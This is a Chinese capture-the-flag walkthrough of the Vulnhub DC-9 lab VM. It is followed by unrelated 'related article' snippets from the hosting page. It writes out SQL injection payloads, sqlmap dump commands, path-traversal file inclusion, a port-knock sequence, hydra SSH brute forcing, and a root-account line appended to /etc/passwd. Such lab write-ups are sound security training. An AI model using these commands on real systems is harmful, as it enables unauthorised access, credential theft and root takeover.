Vulnhub靶场DC-9练习
目录
- 0x00 准备
- 0x01 主机信息收集
- 0x02 站点信息收集
- 0x03 漏洞查找与利用
- 1. 发现SQL注入点
- 2. Sqlmap跑数据
- 3. 文件包含
- 4. SSH爆破+端口敲门服务
- 5. 提权(写入/etc/passwd)
- 0x04 总结
0x00 准备
下载链接:https://download.vulnhub.com/dc/DC-9.zip
介绍:The ultimate goal of this challenge is to get root and to read the one and only flag。只有一个flag。
0x01 主机信息收集
kali查询本机ip,执行命令:ifconfig
kali本机ip:192.168.22.48
探测目标主机ip,执行命令:netdiscover -i eth0 -r 192.168.22.0/24
目标主机ip:192.168.22.14
探测目标主机开放端口,执行命令:nmap -sV -p 1-65535 -A 192.168.22.14
开放了22端口(filtered ssh表示被过滤了),ssh服务;80端口,http服务,Apache2.4.38。

0x02 站点信息收集
访问站点:http://192.168.22.14
探测站点的目录结构,执行命令:dirsearch -u 192.168.22.14

0x03 漏洞查找与利用
1. 发现SQL注入点
在search.php页面,可以提交数据进行查询,并返回查询的结果。

在manage.php页面可以提交用户名和密码进行登录。

综合上面两点,考虑在search页面试一下有没有SQL注入。
在search页面,http://192.168.22.14/search.php 提交查询的内容后,查询的结果显示在 http://192.168.22.14/results.php ,考虑是post方式,查询的数据在请求体中。抓包确认一下。

这里查询可以输入用户名之类的,所以考虑是字符型注入,重点是单引号闭合和注释多余的代码。构造语句:1‘ or 1=1 # ,预期的结果是查询出所有内容。在Display All Records页面,可以看到有17条记录,是所有的内容。
在search页面提交构造的语句:1‘ or 1=1 #
返回的结果是17条记录,说明查询成功。说明这里存在SQL注入。
2. Sqlmap跑数据
这里是POST方式,所以需要使用 -data 来指定参数。
确定是否存在注入,执行语句:sqlmap -u http://192.168.22.14/results.php --data “search=1”
确定是有注入的,并且数据是Mysql。

获取数据库名:sqlmap -u http://192.168.22.14/results.php --data “search=1” --dbs
有三个数据库:Staff,users,information_schema

确定当前链接的数据库名:sqlmap -u http://192.168.22.14/results.php --data “search=1” --current-db
当前的数据库是Staff。

获取Staff数据库的所有表名:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D Staff --tables
有两个表:StaffDetails,Users

获取Staff数据库,Users表的所有字段名:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D Staff -T Users --columns
有三个字段:Password,UserID,Username

这三个字段看起来都有点用,直接获取这个表的全部内容:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D Staff -T Users --dump

admin用户的密码:856f5de590ef37314e7c3bdf6f8a66dc
是一个32位的数字和字母混合起来的密码,考虑MD5加密。
丢到网站里解密:https://www.somd5.com/
解密结果:transorbital1
3. 文件包含
回到站点的Manage页面,用上面的用户名和密码登录。

其他的页面跟登录前没什么区别,多了Add Record,是一个插入数据的地方。
但是在welcome.php页面这里有个文件不存在的提示。考虑文件包含。
构造:http://192.168.22.14/manage.php?file=/etc/passwd ,页面没有变化。
在路径前面加 ../ ,直到可以回显。
构造:http://192.168.22.14/manage.php?file=../../../../etc/passwd
可以看到passwd文件的内容。

可以看到很多的用户名。想到之前获取数据库表的时候,还有个users数据库。
获取这个数据库的表:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D users —tables
有个UserDetails表。

获取这个表的全部内容:sqlmap -u http://192.168.22.14/results.php --data “search=1” -D users -T UserDetails --dump

这个表里的username用户名在/etc/passwd里面都出现过。
把username和password分别保存到文件user.txt和passwd.txt中,保存的时候去掉每一行后面的空格还有最后的空白行。
4. SSH爆破+端口敲门服务
利用hydra进行ssh爆破,执行命令:hydra -L user.txt -P password.txt 192.168.22.14 ssh
提示目标主机的22端口连不上。

前面进行端口探测的时候,22端口是过滤的。
考虑端口敲门服务,即knockd服务。简单来说,就是Linux系统其实开启了某个服务端口,但是knockd服务通过动态的添加iptables规则来隐藏系统开启的服务。需要使用自定义的一系列序列号来“敲门”,使被隐藏的服务可以对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
Linux 的 Port Knocking 端口碰撞(端口敲门)
kncoked服务的配置文件是 /etc/knockd.conf ,在这个文件中指明了需要的序列号sequence。
前面文件包含的地方可以查看系统文件,访问:[http://192.168.22.14/manage.php?file=../../../../etc/](http://192.168.22.14/manage.php?file=../../../../etc/passwd)knockd.conf
可以看到用来openssh的序列号是:7469,8475,9842

执行敲门命令开启22端口:knock 192.168.22.14 7469 8475 9842
执行完以后再看一下目标主机的开放端口,22开启了。(可以和最开始nmap的结果进行对比)

再来用hydra爆破ssh:hydra -L user.txt -P password.txt 192.168.22.14 ssh
可以看到有三个用户。

分别ssh登录上这三个用户:ssh username@192.168.22.14
在家目录下分别执行:ls -a (列出目录下的所有文件,包括以 . 开头的隐含文件)
在janitor用户下发现多了一个 .secrets-for-putin 。
查看一下内容,发现了几个密码。

将这几个密码放到前面保存的密码文件password.txt中,重新用hydra进行ssh爆破:hydra -L user.txt -P password.txt ssh://192.168.22.14
可以看到多了一个用户被破解出来。

再登录一下这个新用户:ssh fredf@192.168.22.14
5. 提权(写入/etc/passwd)
查看可以进行提权的利用点:sudo -l
这里有个test文件可以以root身份执行。

进入这个目录:cd /opt/devstuff/dist/test
执行test文件:./test

这个文件的使用和test.py有关。查找一下这个文件在哪:find / -name test.py 2>/dev/null

查看这个脚本的内容:cat /opt/devstuff/test.py
#!/usr/bin/pythonimport sysif len (sys.argv) != 3 :print ("Usage: python test.py read append")sys.exit (1)else :f = open(sys.argv[1], "r")output = (f.read())f = open(sys.argv[2], "a")f.write(output)f.close()
这个脚本的作用就是将第一个参数的内容读取出来,添加到第二个参数中。这两个参数是文件的路径名字。
可以考虑给/etc/passwd写入一个具有root权限的用户,用户名为admin,密码为123456。
所以构造一条/etc/passwd的内容保存在一个文件中,利用test命令写入到/etc/passwd文件中。
/etc/passwd的文件结构:
用户名:密码hash值:uid:gid:描述性信息:home目录:默认shell 其中,uid=gid=0为超级用户,默认shell一般为/bin/bash。
(一开始构造了一个不需要密码的超级用户:hack::0:0::/root:/bin/bash ,结果切换用户登录的时候提示输入密码,所以重新构造一个需要密码的超级用户。用户名为dcdc,密码为123456。)
先用openssl生成admin用户的加密密码:openssl passwd -1 -salt dcdc 123456
得到加密的密码:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1

构造要插入的内容:dcdc:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1:0:0::/root:/bin/bash
Linux中/tmp目录是任何用户都可以写的。
将构造的数据写入/tmp/admin中:echo 'dcdc:$1$dcdc$G.vOXHYFS0/R76Ag9eTy/1:0:0::/root:/bin/bash' > /tmp/dcdc
再将构造的用户利用test写入passwd文件中:sudo /opt/devstuff/dist/test/test /tmp/dcdc /etc/passwd
看一下/etc/passwd文件的内容,可以看到写入成功。

切换到用户dcdc,进入/root目录,成功。

0x04 总结
主机信息收集:
- netdiscover探测目标主机ip。
- nmap探测开放端口和服务。(22端口被过滤)
站点信息收集:
- dirsearch扫描站点的目录结构。
- 寻找sql注入点,确定注入类型。
漏洞利用:
- sqlmap跑数据库,获取登录的用户名和密码。
- 发现文件包含。
- hydra爆破ssh。
- knock服务开启22端口。
- 提权,将新用户写入/etc/passwd。
相关文章:
Vulnhub靶场DC-9练习
目录 0x00 准备0x01 主机信息收集0x02 站点信息收集0x03 漏洞查找与利用1. 发现SQL注入点2. Sqlmap跑数据3. 文件包含4. SSH爆破端口敲门服务5. 提权(写入/etc/passwd) 0x04 总结 0x00 准备 下载链接:https://download.vulnhub.com/dc/DC-9.z…...
Java对象内存布局和对象头
文章目录 面试题Object object new Object() 谈谈你对这句话的理解? 对象在堆内存中存储布局权威定义(周志明老师JVM第三版)对象在堆内存中的存储布局详解对象头的MarkWord源码对象标记源码 对象内存布局(使用JOL证明)…...
python:基于YOLO框架和遥感图像的目标检测
作者:CSDN _养乐多_ 本文将介绍如何通过YOLO框架和遥感图像进行目标检测的代码。 文章目录 一、数据集下载与格式转换1.1 NWPU VHR-10(73.1 MB)1.2 DIOR(7.06 GB)1.3 配置data.yaml 二、训练三、训练结果 一、数据集…...
DAMA学习笔记(十一)-元数据管理
1.引言 元数据最常见的定义是“关于数据的数据”。它描述了数据本身(如数据库、数据元素、数据模型),数据表示的概念(如业务流程、应用系统、软件代码、技术基础设施),数据与概念之间的联系(关系…...
密码学基本理论
密码学是研究信息安全保护的科学,实现信息的保密性、完整性、可用性以及抗抵赖性 根据密码分析者在破译时已经具备的前提条件,密码分析攻击类型分类: 唯密文攻击:已知密文;未知明文+秘钥已知明文攻击:已知部分明文和密文对;未知秘钥+算法选择明文攻击:已知明文+算法--…...
【深度学习】【语音TTS】vits 论文,Variational Inference Text-to-Speech(1)
代码:https://github.com/jaywalnut310/vits 论文:https://arxiv.org/abs/2106.06103 文章目录 摘要1. 引言2. 方法2.1. 变分推理2.1.1. 概述2.1.2. 重构损失2.1.3. KL散度2.2. 对齐估计2.2.1. 单调对齐搜索2.2.2. 从文本预测时长2.3. 对抗训练2.4. 最终损失2.5. 模型架构2.5…...
javascript中 window 相关知识点以及代码演示
一.了解window 在JavaScript中,window对象是浏览器的全局对象,它不仅代表了浏览器窗口,同时也充当了ECMAScript中的Global对象的角色。因此,深入了解和掌握window对象的属性和方法对于JavaScript开发者来说至关重要。 以下内容将…...
企业社会责任(CSR)国际标准有哪些?
以下是一些常见的企业社会责任(CSR)国际标准和相关体系等: 原则性、指南性标准 ISO 26000《社会责任指南》 :将社会责任归纳为7个核心方面,即公司治理、人权、劳工、环境、公平运营实践、消费者问题以及对社会发展作贡…...
The C programming language (second edition,KR) exercise(CHAPTER 7)
E x c e r c i s e 7 − 1 Excercise\quad 7-1 Excercise7−1: #include <stdio.h> #include <string.h> #include <ctype.h>enum type {LOWER, UPPER };int main(int argc, char *argv[]) {int c, mode = -1;if (stricmp(*argv, "lower.exe") =…...
面向服务架构(SOA)介绍
在汽车电子电气架构还处于分布式时代时,汽车软件的开发方式主要是采用嵌入式软件进行开发,而随着汽车智能化程度的加深,更加复杂且多样的功能需求让汽车软件在复杂度上再上一层。在整车的自动驾驶方面,由于未来高阶自动驾驶能力的…...
关于使用Next遇到的一些新特性
用next之后发现,这是作为全栈比较好用的框架 API 1、app Router 这是目前next官方以及未来推荐的新技术方向 若使用api路由用来管理后端api接口 (1)此时在app文件夹下创建 api名称目录(如 getApiKey) (…...
Python 爬虫入门(七):requests 库的使用「详细介绍」
Python 爬虫入门(七):requests 库的使用「详细介绍」 前言1. 初识 requests1.1 安装 requests 库1.2 发送 GET 请求1.3 发送 POST 请求 2. HTTP 请求详解2.1 请求方法2.2 请求头2.3 请求参数 3. 处理响应3.1 响应内容3.2 响应状态码3.3 响应头…...
两端约束的最优控制问题及其数值解法
问题的基本形式 设 n n n维系统状态房产 x ˙ ( t ) f [ x ( t ) , u ( t ) , t ] \dot{x}(t)f[x(t),u(t),t] x˙(t)f[x(t),u(t),t],控制向量 u ( t ) ∈ Ω u(t)\in\Omega u(t)∈Ω是分段连续函数, Ω ∈ R m \Omega\in R^m Ω∈Rm是有界闭集…...
电磁仿真--基本操作-CST-(6)-导线周围磁场
目录 1. 简介 2. 过程 2.1 新建工程 2.2 选择求解器 2.3 设置单位 2.4 设置频率 2.5 绘制导线 2.6 Background 2.7 边界条件 2.8 设置激励源 2.9 查看结果 3. 其他设置 3.1 网格类型 3.2 集总网络元件 3.3 阻抗和导纳矩阵 3.4 自适应网格细化 3.4 提升计算效率…...
用Java手写jvm之模拟方法调用指令invokexxx和方法返回指令xreturn
写在前面 源码 。 本文一起看下方法调用相关的指令invokexxx以及方法返回(栈帧弹出线程栈)相关的指令xReturn 。 1:正文 因为invokexxx指令和普通的指令不同,会创建一个新的栈帧,并压倒操作数栈中,所以我…...
自定义枚举类型检查
/*** 工单状态,使用字典:order_item_state*/ CheckEnum(nullAble true, enumType OrderItemStateEnum.class) private String workState; 注解类 package com.gdyunst.core.tool.validation;import javax.validation.Constraint; import javax.valid…...
探索四川财谷通抖音小店:安全与信赖的购物新体验
在数字经济蓬勃发展的今天,抖音平台凭借其庞大的用户基础和强大的内容生态,逐渐成为了电商领域的一股不可忽视的力量。其中,四川财谷通抖音小店作为这一浪潮中的佼佼者,不仅以其丰富的商品种类和独特的品牌魅力吸引了众多消费者的…...
systemd-manage系统服务图形化管理工具使用教程
1. systemd-manage介绍 systemd-manage是一个开源的基于systemd服务管理的图形化工具,使用qt图形库进行开发,可以提供服务管理,用户会话,配置文件修改,日志查询,性能分析,进程管理等功能。图形…...
移除元素(LeetCode)
题目 给你一个数组 和一个值 ,你需要 原地 移除所有数值等于 的元素,并返回移除后数组的新长度。 不要使用额外的数组空间,你必须仅使用 额外空间并 原地 修改输入数组。 元素的顺序可以改变。你不需要考虑数组中超出新长度后面的元素。 解…...
代码随想录27期|Python|Day38|509斐波那契|738.爬楼梯|746.746. 使用最小花费爬楼梯
贴一下动态规划的步骤(5步),就像是之前递归一样,需要每次落实到位。 确定dp数组(dp table)以及下标的含义确定递推公式dp数组如何初始化确定遍历顺序举例推导dp数组 509. 斐波那契 注意到n的范…...
无法与IP建立连接,未能下载VSCode服务器
如题,在远程连接服务器的时候突然遇到了这个提示。 查阅了一圈,发现是VSCode版本自动更新惹的祸!!! 在VSCode的帮助->关于这里发现前几天VSCode自动更新了,我的版本号变成了1.100.3 才导致了远程连接出…...
基于Flask实现的医疗保险欺诈识别监测模型
基于Flask实现的医疗保险欺诈识别监测模型 项目截图 项目简介 社会医疗保险是国家通过立法形式强制实施,由雇主和个人按一定比例缴纳保险费,建立社会医疗保险基金,支付雇员医疗费用的一种医疗保险制度, 它是促进社会文明和进步的…...
蓝桥杯 2024 15届国赛 A组 儿童节快乐
P10576 [蓝桥杯 2024 国 A] 儿童节快乐 题目描述 五彩斑斓的气球在蓝天下悠然飘荡,轻快的音乐在耳边持续回荡,小朋友们手牵着手一同畅快欢笑。在这样一片安乐祥和的氛围下,六一来了。 今天是六一儿童节,小蓝老师为了让大家在节…...
定时器任务——若依源码分析
分析util包下面的工具类schedule utils: ScheduleUtils 是若依中用于与 Quartz 框架交互的工具类,封装了定时任务的 创建、更新、暂停、删除等核心逻辑。 createScheduleJob createScheduleJob 用于将任务注册到 Quartz,先构建任务的 JobD…...
数据链路层的主要功能是什么
数据链路层(OSI模型第2层)的核心功能是在相邻网络节点(如交换机、主机)间提供可靠的数据帧传输服务,主要职责包括: 🔑 核心功能详解: 帧封装与解封装 封装: 将网络层下发…...
C# 类和继承(抽象类)
抽象类 抽象类是指设计为被继承的类。抽象类只能被用作其他类的基类。 不能创建抽象类的实例。抽象类使用abstract修饰符声明。 抽象类可以包含抽象成员或普通的非抽象成员。抽象类的成员可以是抽象成员和普通带 实现的成员的任意组合。抽象类自己可以派生自另一个抽象类。例…...
【OSG学习笔记】Day 16: 骨骼动画与蒙皮(osgAnimation)
骨骼动画基础 骨骼动画是 3D 计算机图形中常用的技术,它通过以下两个主要组件实现角色动画。 骨骼系统 (Skeleton):由层级结构的骨头组成,类似于人体骨骼蒙皮 (Mesh Skinning):将模型网格顶点绑定到骨骼上,使骨骼移动…...
Spring数据访问模块设计
前面我们已经完成了IoC和web模块的设计,聪明的码友立马就知道了,该到数据访问模块了,要不就这俩玩个6啊,查库势在必行,至此,它来了。 一、核心设计理念 1、痛点在哪 应用离不开数据(数据库、No…...
Python 包管理器 uv 介绍
Python 包管理器 uv 全面介绍 uv 是由 Astral(热门工具 Ruff 的开发者)推出的下一代高性能 Python 包管理器和构建工具,用 Rust 编写。它旨在解决传统工具(如 pip、virtualenv、pip-tools)的性能瓶颈,同时…...
Python Ovito统计金刚石结构数量
大家好,我是小马老师。 本文介绍python ovito方法统计金刚石结构的方法。 Ovito Identify diamond structure命令可以识别和统计金刚石结构,但是无法直接输出结构的变化情况。 本文使用python调用ovito包的方法,可以持续统计各步的金刚石结构,具体代码如下: from ovito…...
